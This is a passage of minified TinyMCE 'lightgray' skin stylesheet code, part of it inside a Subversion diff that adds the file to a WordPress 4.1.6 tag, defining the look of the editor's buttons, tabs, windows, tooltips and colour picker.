button{padding-right:4px}.mce-splitbtn .mce-open{padding-left:4px}.mce-splitbtn .mce-open.mce-active{-webkit-box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05)}.mce-splitbtn.mce-btn-small .mce-open{padding:0 3px 0 3px}.mce-rtl .mce-splitbtn{direction:rtl;text-align:right}.mce-rtl .mce-splitbtn button{padding-right:10px;padding-left:10px}.mce-rtl .mce-splitbtn .mce-open{padding-left:4px;padding-right:4px}.mce-stack-layout-item{display:block}.mce-tabs{display:block;border-bottom:1px solid #c5c5c5}.mce-tab{display:inline-block;*display:inline;*zoom:1;border:1px solid #c5c5c5;border-width:0 1px 0 0;background:#e3e3e3;padding:8px;text-shadow:0 1px 1px rgba(255,255,255,0.75);height:13px;cursor:pointer}.mce-tab:hover{background:#fdfdfd}.mce-tab.mce-active{background:#fdfdfd;border-bottom-color:transparent;margin-bottom:-1px;height:14px}.mce-rtl .mce-tabs{text-align:right;direction:rtl}.mce-rtl .mce-tab{border-width:0 0 0 1px}.mce-textbox{background:#fff;border:1px solid #c5c5c5;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);display:inline-block;-webkit-transition:border linear .2s, box-shadow linear .2s;transition:border linear .2s, box-shadow linear .2s;height:28px;resize:none;padding:0 4px 0 4px;white-space:pre-wrap;*white-space:pre;color:#333}.mce-textbox:focus,.mce-textbox.mce-focus{border-color:rgba(82,168,236,0.8);-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.65);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.65);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.65)}.mce-placeholder .mce-textbox{color:#aaa}.mce-textbox.mce-multiline{padding:4px}.mce-textbox.mce-disabled{color:#adadad}.mce-rtl .mce-textbox{text-align:right;direction:rtl}.mce-throbber{position:absolute;top:0;left:0;width:100%;height:100%;opacity:.6;filter:alpha(opacity=60);zoom:1;background:#fff url('img/loader.gif') no-repeat center center}.mce-throbber-inline{position:static;height:50px}@font-face{font-family:'tinymce';src:url('fonts/tinymce.eot');src:url('fonts/tinymce.eot?#iefix') format('embedded-opentype'),url('fonts/tinymce.woff') format('woff'),url('fonts/tinymce.ttf') format('truetype'),url('fonts/tinymce.svg#tinymce') format('svg');font-weight:normal;font-style:normal}@font-face{font-family:'tinymce-small';src:url('fonts/tinymce-small.eot');src:url('fonts/tinymce-small.eot?#iefix') format('embedded-opentype'),url('fonts/tinymce-small.woff') format('woff'),url('fonts/tinymce-small.ttf') format('truetype'),url('fonts/tinymce-small.svg#tinymce') format('svg');font-weight:normal;font-style:normal}.mce-ico{font-family:'tinymce';font-style:normal;font-weight:normal;font-size:16px;line-height:16px;vertical-align:text-top;-webkit-font-smoothing:antialiased;display:inline-block;background:transparent center center;width:16px;height:16px;color:#333;-ie7-icon:' '}.mce-btn-small .mce-ico{font-family:'tinymce-small'}.mce-ico,i.mce-i-checkbox{zoom:expression(this.runtimeStyle['zoom'] = '1', this.innerHTML = this.currentStyle['-ie7-icon'].substr(1, 1) + '&nbsp;')}.mce-i-save{-ie7-icon:"\e000"}.mce-i-newdocument{-ie7-icon:"\e001"}.mce-i-fullpage{-ie7-icon:"\e002"}.mce-i-alignleft{-ie7-icon:"\e003"}.mce-i-aligncenter{-ie7-icon:"\e004"}.mce-i-alignright{-ie7-icon:"\e005"}.mce-i-alignjustify{-ie7-icon:"\e006"}.mce-i-cut{-ie7-icon:"\e007"}.mce-i-paste{-ie7-icon:"\e008"}.mce-i-searchreplace{-ie7-icon:"\e009"}.mce-i-bullist{-ie7-icon:"\e00a"}.mce-i-numlist{-ie7-icon:"\e00b"}.mce-i-indent{-ie7-icon:"\e00c"}.mce-i-outdent{-ie7-icon:"\e00d"}.mce-i-blockquote{-ie7-icon:"\e00e"}.mce-i-undo{-ie7-icon:"\e00f"}.mce-i-redo{-ie7-icon:"\e010"}.mce-i-link{-ie7-icon:"\e011"}.mce-i-unlink{-ie7-icon:"\e012"}.mce-i-anchor{-ie7-icon:"\e013"}.mce-i-image{-ie7-icon:"\e014"}.mce-i-media{-ie7-icon:"\e015"}.mce-i-help{-ie7-icon:"\e016"}.mce-i-code{-ie7-icon:"\e017"}.mce-i-insertdatetime{-ie7-icon:"\e018"}.mce-i-preview{-ie7-icon:"\e019"}.mce-i-forecolor{-ie7-icon:"\e01a"}.mce-i-backcolor{-ie7-icon:"\e01a"}.mce-i-table{-ie7-icon:"\e01b"}.mce-i-hr{-ie7-icon:"\e01c"}.mce-i-removeformat{-ie7-icon:"\e01d"}.mce-i-subscript{-ie7-icon:"\e01e"}.mce-i-superscript{-ie7-icon:"\e01f"}.mce-i-charmap{-ie7-icon:"\e020"}.mce-i-emoticons{-ie7-icon:"\e021"}.mce-i-print{-ie7-icon:"\e022"}.mce-i-fullscreen{-ie7-icon:"\e023"}.mce-i-spellchecker{-ie7-icon:"\e024"}.mce-i-nonbreaking{-ie7-icon:"\e025"}.mce-i-template{-ie7-icon:"\e026"}.mce-i-pagebreak{-ie7-icon:"\e027"}.mce-i-restoredraft{-ie7-icon:"\e028"}.mce-i-untitled{-ie7-icon:"\e029"}.mce-i-bold{-ie7-icon:"\e02a"}.mce-i-italic{-ie7-icon:"\e02b"}.mce-i-underline{-ie7-icon:"\e02c"}.mce-i-strikethrough{-ie7-icon:"\e02d"}.mce-i-visualchars{-ie7-icon:"\e02e"}.mce-i-ltr{-ie7-icon:"\e02f"}.mce-i-rtl{-ie7-icon:"\e030"}.mce-i-copy{-ie7-icon:"\e031"}.mce-i-resize{-ie7-icon:"\e032"}.mce-i-browse{-ie7-icon:"\e034"}.mce-i-pastetext{-ie7-icon:"\e035"}.mce-i-checkbox,.mce-i-selected{-ie7-icon:"\e033"}.mce-i-selected{visibility:hidden}.mce-i-backcolor{background:#BBB}
Index: /tags/4.1.6/src/wp-includes/js/tinymce/skins/lightgray/skin.min.css
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/skins/lightgray/skin.min.css	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/skins/lightgray/skin.min.css	(revision 33402)
@@ -0,0 +1,1 @@
+.mce-container,.mce-container *,.mce-widget,.mce-widget *,.mce-reset{margin:0;padding:0;border:0;outline:0;vertical-align:top;background:0 0;text-decoration:none;color:#333;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;text-shadow:none;float:none;position:static;width:auto;height:auto;white-space:nowrap;cursor:inherit;-webkit-tap-highlight-color:transparent;line-height:normal;font-weight:400;text-align:left;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box;direction:ltr;max-width:none}.mce-widget button{-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}.mce-container [unselectable]{-moz-user-select:none;-webkit-user-select:none;-o-user-select:none;user-select:none}.mce-fade{opacity:0;-webkit-transition:opacity .15s linear;transition:opacity .15s linear}.mce-fade.mce-in{opacity:1}.mce-tinymce{visibility:inherit!important;position:relative}.mce-fullscreen{border:0;padding:0;margin:0;overflow:hidden;height:100%;z-index:100}div.mce-fullscreen{position:fixed;top:0;left:0;width:100%;height:auto}.mce-tinymce{display:block;-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px}.mce-wordcount{position:absolute;top:0;right:0;padding:8px}div.mce-edit-area{background:#FFF;filter:none}.mce-statusbar{position:relative}.mce-statusbar .mce-container-body{position:relative}.mce-fullscreen .mce-resizehandle{display:none}.mce-charmap{border-collapse:collapse}.mce-charmap td{cursor:default;border:1px solid #9e9e9e;width:20px;height:20px;line-height:20px;text-align:center;vertical-align:middle;padding:2px}.mce-charmap td div{text-align:center}.mce-charmap td:hover{background:#d9d9d9}.mce-grid td.mce-grid-cell div{border:1px solid #d6d6d6;width:15px;height:15px;margin:0;cursor:pointer}.mce-grid td.mce-grid-cell div:focus{border-color:#a1a1a1}.mce-grid td.mce-grid-cell div[disabled]{cursor:not-allowed}.mce-grid{border-spacing:2px;border-collapse:separate}.mce-grid a{display:block;border:1px solid transparent}.mce-grid a:hover,.mce-grid a:focus{border-color:#a1a1a1}.mce-grid-border{margin:0 4px 0 4px}.mce-grid-border a{border-color:#d6d6d6;width:13px;height:13px}.mce-grid-border a:hover,.mce-grid-border a.mce-active{border-color:#a1a1a1;background:#c8def4}.mce-text-center{text-align:center}div.mce-tinymce-inline{width:100%;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.mce-colorbtn-trans div{text-align:center;vertical-align:middle;font-weight:700;font-size:20px;line-height:16px;color:#707070}.mce-toolbar-grp{padding-bottom:2px}.mce-toolbar-grp .mce-flow-layout-item{margin-bottom:0}.mce-rtl .mce-wordcount{left:0;right:auto}.mce-container,.mce-container-body{display:block}.mce-autoscroll{overflow:hidden}.mce-scrollbar{position:absolute;width:7px;height:100%;top:2px;right:2px;opacity:.4;filter:alpha(opacity=40);zoom:1}.mce-scrollbar-h{top:auto;right:auto;left:2px;bottom:2px;width:100%;height:7px}.mce-scrollbar-thumb{position:absolute;background-color:#000;border:1px solid #888;border-color:rgba(85,85,85,.6);width:5px;height:100%;-webkit-border-radius:7px;-moz-border-radius:7px;border-radius:7px}.mce-scrollbar-h .mce-scrollbar-thumb{width:100%;height:5px}.mce-scrollbar:hover,.mce-scrollbar.mce-active{background-color:#AAA;opacity:.6;filter:alpha(opacity=60);zoom:1;-webkit-border-radius:7px;-moz-border-radius:7px;border-radius:7px}.mce-scroll{position:relative}.mce-panel{border:0 solid #9e9e9e;background-color:#f0f0f0;background-image:-moz-linear-gradient(top,#fdfdfd,#ddd);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fdfdfd),to(#ddd));background-image:-webkit-linear-gradient(top,#fdfdfd,#ddd);background-image:-o-linear-gradient(top,#fdfdfd,#ddd);background-image:linear-gradient(to bottom,#fdfdfd,#ddd);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffdfdfd', endColorstr='#ffdddddd', GradientType=0);zoom:1}.mce-floatpanel{position:absolute;-webkit-box-shadow:0 5px 10px rgba(0,0,0,.2);-moz-box-shadow:0 5px 10px rgba(0,0,0,.2);box-shadow:0 5px 10px rgba(0,0,0,.2)}.mce-floatpanel.mce-fixed{position:fixed}.mce-floatpanel .mce-arrow,.mce-floatpanel .mce-arrow:after{position:absolute;display:block;width:0;height:0;border-color:transparent;border-style:solid}.mce-floatpanel .mce-arrow{border-width:11px}.mce-floatpanel .mce-arrow:after{border-width:10px;content:""}.mce-floatpanel.mce-popover{filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background:0 0;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0,0,0,.2);-moz-box-shadow:0 5px 10px rgba(0,0,0,.2);box-shadow:0 5px 10px rgba(0,0,0,.2);top:0;left:0;background:#fff;border:1px solid #9e9e9e;border:1px solid rgba(0,0,0,.25)}.mce-floatpanel.mce-popover.mce-bottom{margin-top:10px;}.mce-floatpanel.mce-popover.mce-bottom>.mce-arrow{left:50%;margin-left:-11px;border-top-width:0;border-bottom-color:#9e9e9e;border-bottom-color:rgba(0,0,0,.25);top:-11px}.mce-floatpanel.mce-popover.mce-bottom>.mce-arrow:after{top:1px;margin-left:-10px;border-top-width:0;border-bottom-color:#fff}.mce-floatpanel.mce-popover.mce-bottom.mce-start{margin-left:-22px}.mce-floatpanel.mce-popover.mce-bottom.mce-start>.mce-arrow{left:20px}.mce-floatpanel.mce-popover.mce-bottom.mce-end{margin-left:22px}.mce-floatpanel.mce-popover.mce-bottom.mce-end>.mce-arrow{right:10px;left:auto}.mce-fullscreen{border:0;padding:0;margin:0;overflow:hidden;background:#fff;height:100%}div.mce-fullscreen{position:fixed;top:0;left:0}#mce-modal-block{opacity:0;filter:alpha(opacity=0);zoom:1;position:fixed;left:0;top:0;width:100%;height:100%;background:#000}#mce-modal-block.mce-in{opacity:.3;filter:alpha(opacity=30);zoom:1}.mce-window-move{cursor:move}.mce-window{-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 3px 7px rgba(0,0,0,.3);-moz-box-shadow:0 3px 7px rgba(0,0,0,.3);box-shadow:0 3px 7px rgba(0,0,0,.3);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background:0 0;background:#fff;position:fixed;top:0;left:0;opacity:0;-webkit-transition:opacity 150ms ease-in;transition:opacity 150ms ease-in}.mce-window.mce-in{opacity:1}.mce-window-head{padding:9px 15px;border-bottom:1px solid #c5c5c5;position:relative}.mce-window-head .mce-close{position:absolute;right:15px;top:9px;font-size:20px;font-weight:700;line-height:20px;color:#858585;cursor:pointer;height:20px;overflow:hidden}.mce-close:hover{color:#adadad}.mce-window-head .mce-title{line-height:20px;font-size:20px;font-weight:700;text-rendering:optimizelegibility;padding-right:10px}.mce-window .mce-container-body{display:block}.mce-foot{display:block;background-color:#fff;border-top:1px solid #c5c5c5;-webkit-border-radius:0 0 6px 6px;-moz-border-radius:0 0 6px 6px;border-radius:0 0 6px 6px}.mce-window-head .mce-dragh{position:absolute;top:0;left:0;cursor:move;width:90%;height:100%}.mce-window iframe{width:100%;height:100%}.mce-window.mce-fullscreen,.mce-window.mce-fullscreen .mce-foot{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.mce-rtl .mce-window-head .mce-close{position:absolute;right:auto;left:15px}.mce-rtl .mce-window-head .mce-dragh{left:auto;right:0}.mce-rtl .mce-window-head .mce-title{direction:rtl;text-align:right}.mce-abs-layout{position:relative}body .mce-abs-layout-item,.mce-abs-end{position:absolute}.mce-abs-end{width:1px;height:1px}.mce-container-body.mce-abs-layout{overflow:hidden}.mce-tooltip{position:absolute;padding:5px;opacity:.8;filter:alpha(opacity=80);zoom:1}.mce-tooltip-inner{font-size:11px;background-color:#000;color:#fff;max-width:200px;padding:5px 8px 4px 8px;text-align:center;white-space:normal}.mce-tooltip-inner{-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.mce-tooltip-inner{-webkit-box-shadow:0 0 5px #000;-moz-box-shadow:0 0 5px #000;box-shadow:0 0 5px #000}.mce-tooltip-arrow{position:absolute;width:0;height:0;line-height:0;border:5px dashed #000}.mce-tooltip-arrow-n{border-bottom-color:#000}.mce-tooltip-arrow-s{border-top-color:#000}.mce-tooltip-arrow-e{border-left-color:#000}.mce-tooltip-arrow-w{border-right-color:#000}.mce-tooltip-nw,.mce-tooltip-sw{margin-left:-14px}.mce-tooltip-n .mce-tooltip-arrow{top:0;left:50%;margin-left:-5px;border-bottom-style:solid;border-top:none;border-left-color:transparent;border-right-color:transparent}.mce-tooltip-nw .mce-tooltip-arrow{top:0;left:10px;border-bottom-style:solid;border-top:none;border-left-color:transparent;border-right-color:transparent}.mce-tooltip-ne .mce-tooltip-arrow{top:0;right:10px;border-bottom-style:solid;border-top:none;border-left-color:transparent;border-right-color:transparent}.mce-tooltip-s .mce-tooltip-arrow{bottom:0;left:50%;margin-left:-5px;border-top-style:solid;border-bottom:none;border-left-color:transparent;border-right-color:transparent}.mce-tooltip-sw .mce-tooltip-arrow{bottom:0;left:10px;border-top-style:solid;border-bottom:none;border-left-color:transparent;border-right-color:transparent}.mce-tooltip-se .mce-tooltip-arrow{bottom:0;right:10px;border-top-style:solid;border-bottom:none;border-left-color:transparent;border-right-color:transparent}.mce-tooltip-e .mce-tooltip-arrow{right:0;top:50%;margin-top:-5px;border-left-style:solid;border-right:none;border-top-color:transparent;border-bottom-color:transparent}.mce-tooltip-w .mce-tooltip-arrow{left:0;top:50%;margin-top:-5px;border-right-style:solid;border-left:none;border-top-color:transparent;border-bottom-color:transparent}.mce-btn{border:1px solid #b1b1b1;border-color:rgba(0,0,0,.1) rgba(0,0,0,.1) rgba(0,0,0,.25) rgba(0,0,0,.25);position:relative;text-shadow:0 1px 1px rgba(255,255,255,.75);display:inline-block;;;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.2),0 1px 2px rgba(0,0,0,.05);-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,.2),0 1px 2px rgba(0,0,0,.05);box-shadow:inset 0 1px 0 rgba(255,255,255,.2),0 1px 2px rgba(0,0,0,.05);background-color:#f0f0f0;background-image:-moz-linear-gradient(top,#fff,#d9d9d9);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#d9d9d9));background-image:-webkit-linear-gradient(top,#fff,#d9d9d9);background-image:-o-linear-gradient(top,#fff,#d9d9d9);background-image:linear-gradient(to bottom,#fff,#d9d9d9);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffd9d9d9', GradientType=0);zoom:1}.mce-btn:hover,.mce-btn:focus{color:#333;background-color:#e3e3e3;background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-gradient(linear,0 0,0 100%,from(#f2f2f2),to(#ccc));background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(to bottom,#f2f2f2,#ccc);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2f2f2', endColorstr='#ffcccccc', GradientType=0);zoom:1}.mce-btn.mce-disabled button,.mce-btn.mce-disabled:hover button{cursor:default;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;opacity:.4;filter:alpha(opacity=40);zoom:1}.mce-btn.mce-active,.mce-btn.mce-active:hover{background-color:#d6d6d6;background-image:-moz-linear-gradient(top,#e6e6e6,silver);background-image:-webkit-gradient(linear,0 0,0 100%,from(#e6e6e6),to(silver));background-image:-webkit-linear-gradient(top,#e6e6e6,silver);background-image:-o-linear-gradient(top,#e6e6e6,silver);background-image:linear-gradient(to bottom,#e6e6e6,silver);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe6e6e6', endColorstr='#ffc0c0c0', GradientType=0);zoom:1;-webkit-box-shadow:inset 0 2px 4px rgba(0,0,0,.15),0 1px 2px rgba(0,0,0,.05);-moz-box-shadow:inset 0 2px 4px rgba(0,0,0,.15),0 1px 2px rgba(0,0,0,.05);box-shadow:inset 0 2px 4px rgba(0,0,0,.15),0 1px 2px rgba(0,0,0,.05)}.mce-btn:active{background-color:#d6d6d6;background-image:-moz-linear-gradient(top,#e6e6e6,silver);background-image:-webkit-gradient(linear,0 0,0 100%,from(#e6e6e6),to(silver));background-image:-webkit-linear-gradient(top,#e6e6e6,silver);background-image:-o-linear-gradient(top,#e6e6e6,silver);background-image:linear-gradient(to bottom,#e6e6e6,silver);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe6e6e6', endColorstr='#ffc0c0c0', GradientType=0);zoom:1;-webkit-box-shadow:inset 0 2px 4px rgba(0,0,0,.15),0 1px 2px rgba(0,0,0,.05);-moz-box-shadow:inset 0 2px 4px rgba(0,0,0,.15),0 1px 2px rgba(0,0,0,.05);box-shadow:inset 0 2px 4px rgba(0,0,0,.15),0 1px 2px rgba(0,0,0,.05)}.mce-btn button{padding:4px 10px;font-size:14px;line-height:20px;;cursor:pointer;color:#333;text-align:center;overflow:visible;-webkit-appearance:none}.mce-btn button::-moz-focus-inner{border:0;padding:0}.mce-btn i{text-shadow:1px 1px #fff}.mce-primary{min-width:50px;color:#fff;border:1px solid #b1b1b1;border-color:rgba(0,0,0,.1) rgba(0,0,0,.1) rgba(0,0,0,.25) rgba(0,0,0,.25);background-color:#006dcc;background-image:-moz-linear-gradient(top,#08c,#04c);background-image:-webkit-gradient(linear,0 0,0 100%,from(#08c),to(#04c));background-image:-webkit-linear-gradient(top,#08c,#04c);background-image:-o-linear-gradient(top,#08c,#04c);background-image:linear-gradient(to bottom,#08c,#04c);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0088cc', endColorstr='#ff0044cc', GradientType=0);zoom:1}.mce-primary:hover,.mce-primary:focus{background-color:#005fb3;background-image:-moz-linear-gradient(top,#0077b3,#003cb3);background-image:-webkit-gradient(linear,0 0,0 100%,from(#0077b3),to(#003cb3));background-image:-webkit-linear-gradient(top,#0077b3,#003cb3);background-image:-o-linear-gradient(top,#0077b3,#003cb3);background-image:linear-gradient(to bottom,#0077b3,#003cb3);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0077b3', endColorstr='#ff003cb3', GradientType=0);zoom:1}.mce-primary.mce-disabled button,.mce-primary.mce-disabled:hover button{cursor:default;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;opacity:.4;filter:alpha(opacity=40);zoom:1}.mce-primary.mce-active,.mce-primary.mce-active:hover,.mce-primary:not(.mce-disabled):active{background-color:#005299;background-image:-moz-linear-gradient(top,#069,#039);background-image:-webkit-gradient(linear,0 0,0 100%,from(#069),to(#039));background-image:-webkit-linear-gradient(top,#069,#039);background-image:-o-linear-gradient(top,#069,#039);background-image:linear-gradient(to bottom,#069,#039);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff006699', endColorstr='#ff003399', GradientType=0);zoom:1;-webkit-box-shadow:inset 0 2px 4px rgba(0,0,0,.15),0 1px 2px rgba(0,0,0,.05);-moz-box-shadow:inset 0 2px 4px rgba(0,0,0,.15),0 1px 2px rgba(0,0,0,.05);box-shadow:inset 0 2px 4px rgba(0,0,0,.15),0 1px 2px rgba(0,0,0,.05)}.mce-primary button,.mce-primary button i{color:#fff;text-shadow:1px 1px #333}.mce-btn-large button{padding:9px 14px;font-size:16px;line-height:normal;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px}.mce-btn-large i{margin-top:2px}.mce-btn-small button{padding:1px 5px;font-size:12px;}.mce-btn-small i{line-height:20px;vertical-align:top;}.mce-btn .mce-caret{margin-top:8px;margin-left:0}.mce-btn-small .mce-caret{margin-top:8px;margin-left:0}.mce-caret{display:inline-block;;;width:0;height:0;vertical-align:top;border-top:4px solid #333;border-right:4px solid transparent;border-left:4px solid transparent;content:""}.mce-disabled .mce-caret{border-top-color:#aaa}.mce-caret.mce-up{border-bottom:4px solid #333;border-top:0}.mce-btn-flat{border:0;background:0 0;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;filter:none}.mce-btn-flat:hover,.mce-btn-flat.mce-active,.mce-btn-flat:focus,.mce-btn-flat:active{border:0;background:#e6e6e6;filter:none;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.mce-rtl .mce-btn button{direction:rtl}.mce-btn-group .mce-btn{border-width:1px 0 1px 0;margin:0;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.mce-btn-group .mce-first{border-left:1px solid #b1b1b1;border-left:1px solid rgba(0,0,0,.25);-webkit-border-radius:3px 0 0 3px;-moz-border-radius:3px 0 0 3px;border-radius:3px 0 0 3px}.mce-btn-group .mce-last{border-right:1px solid #b1b1b1;border-right:1px solid rgba(0,0,0,.1);-webkit-border-radius:0 3px 3px 0;-moz-border-radius:0 3px 3px 0;border-radius:0 3px 3px 0}.mce-btn-group .mce-first.mce-last{-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.mce-btn-group .mce-btn.mce-flow-layout-item{margin:0}.mce-checkbox{cursor:pointer}i.mce-i-checkbox{margin:0 3px 0 0;border:1px solid #c5c5c5;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.2),0 1px 2px rgba(0,0,0,.05);-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,.2),0 1px 2px rgba(0,0,0,.05);box-shadow:inset 0 1px 0 rgba(255,255,255,.2),0 1px 2px rgba(0,0,0,.05);background-color:#f0f0f0;background-image:-moz-linear-gradient(top,#fff,#d9d9d9);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#d9d9d9));background-image:-webkit-linear-gradient(top,#fff,#d9d9d9);background-image:-o-linear-gradient(top,#fff,#d9d9d9);background-image:linear-gradient(to bottom,#fff,#d9d9d9);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffd9d9d9', GradientType=0);zoom:1;text-indent:-10em;;;;overflow:hidden}.mce-checked i.mce-i-checkbox{color:#333;font-size:16px;line-height:16px;text-indent:0}.mce-checkbox:focus i.mce-i-checkbox,.mce-checkbox.mce-focus i.mce-i-checkbox{border:1px solid rgba(82,168,236,.8);-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(82,168,236,.65);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(82,168,236,.65);box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(82,168,236,.65)}.mce-checkbox.mce-disabled .mce-label,.mce-checkbox.mce-disabled i.mce-i-checkbox{color:#acacac}.mce-rtl .mce-checkbox{direction:rtl;text-align:right}.mce-rtl i.mce-i-checkbox{margin:0 0 0 3px}.mce-combobox{display:inline-block;;;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075);}.mce-combobox input{border:1px solid #c5c5c5;border-right-color:#c5c5c5;height:28px}.mce-combobox.mce-disabled input{color:#adadad}.mce-combobox.mce-has-open input{-webkit-border-radius:4px 0 0 4px;-moz-border-radius:4px 0 0 4px;border-radius:4px 0 0 4px}.mce-combobox .mce-btn{border-left:0;-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0}.mce-combobox button{padding-right:8px;padding-left:8px}.mce-combobox.mce-disabled .mce-btn button{cursor:default;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;opacity:.4;filter:alpha(opacity=40);zoom:1}.mce-colorbox i{border:1px solid #c5c5c5;width:14px;height:14px}.mce-colorbutton .mce-ico{position:relative}.mce-colorbutton-grid{margin:4px}.mce-colorbutton button{padding-right:4px}.mce-colorbutton .mce-preview{padding-right:3px;display:block;position:absolute;left:50%;top:50%;margin-left:-14px;margin-top:7px;background:gray;width:13px;height:2px;overflow:hidden}.mce-colorbutton.mce-btn-small .mce-preview{margin-left:-16px;padding-right:0;width:16px}.mce-colorbutton .mce-open{padding-left:4px;border-left:1px solid transparent;border-right:1px solid transparent}.mce-colorbutton:hover .mce-open{border-left-color:#bdbdbd;border-right-color:#bdbdbd}.mce-colorbutton.mce-btn-small .mce-open{padding:0 3px 0 3px}.mce-rtl .mce-colorbutton{direction:rtl}.mce-rtl .mce-colorbutton .mce-preview{margin-left:0;padding-right:0;padding-left:4px;margin-right:-14px}.mce-rtl .mce-colorbutton.mce-btn-small .mce-preview{margin-left:0;padding-right:0;margin-right:-17px;padding-left:0}.mce-rtl .mce-colorbutton button{padding-right:10px;padding-left:10px}.mce-rtl .mce-colorbutton .mce-open{padding-left:4px;padding-right:4px}.mce-colorpicker{position:relative;width:250px;height:220px}.mce-colorpicker-sv{position:absolute;top:0;left:0;width:90%;height:100%;border:1px solid #c5c5c5;cursor:crosshair;overflow:hidden}.mce-colorpicker-h-chunk{width:100%}.mce-colorpicker-overlay1,.mce-colorpicker-overlay2{width:100%;height:100%;position:absolute;top:0;left:0}.mce-colorpicker-overlay1{filter:progid:DXImageTransform.Microsoft.gradient(GradientType=1, startColorstr='#ffffff', endColorstr='#00ffffff');-ms-filter:"progid:DXImageTransform.Microsoft.gradient(GradientType=1,startColorstr='#ffffff', endColorstr='#00ffffff')";background:linear-gradient(to right,#fff,rgba(255,255,255,0))}.mce-colorpicker-overlay2{filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0, startColorstr='#00000000', endColorstr='#000000');-ms-filter:"progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr='#00000000', endColorstr='#000000')";background:linear-gradient(to bottom,rgba(0,0,0,0),#000)}.mce-colorpicker-selector1{background:0 0;position:absolute;width:12px;height:12px;margin:-8px 0 0 -8px;border:1px solid #000;border-radius:50%}.mce-colorpicker-selector2{position:absolute;width:10px;height:10px;border:1px solid #fff;border-radius:50%}.mce-colorpicker-h{position:absolute;top:0;right:0;width:6.5%;height:100%;border:1px solid #c5c5c5;cursor:crosshair}.mce-colorpicker-h-marker{margin-top:-4px;position:absolute;top:0;left:-1px;width:100%;border:1px solid #333;background:#fff;height:4px;z-index:100}.mce-path{display:inline-block;;;padding:8px;white-space:normal}.mce-path .mce-txt{display:inline-block;padding-right:3px}.mce-path .mce-path-body{display:inline-block}.mce-path-item{display:inline-block;;;cursor:pointer;color:#333}.mce-path-item:hover{text-decoration:underline}.mce-path-item:focus{background:#666;color:#fff}.mce-path .mce-divider{display:inline}.mce-disabled .mce-path-item{color:#aaa}.mce-rtl 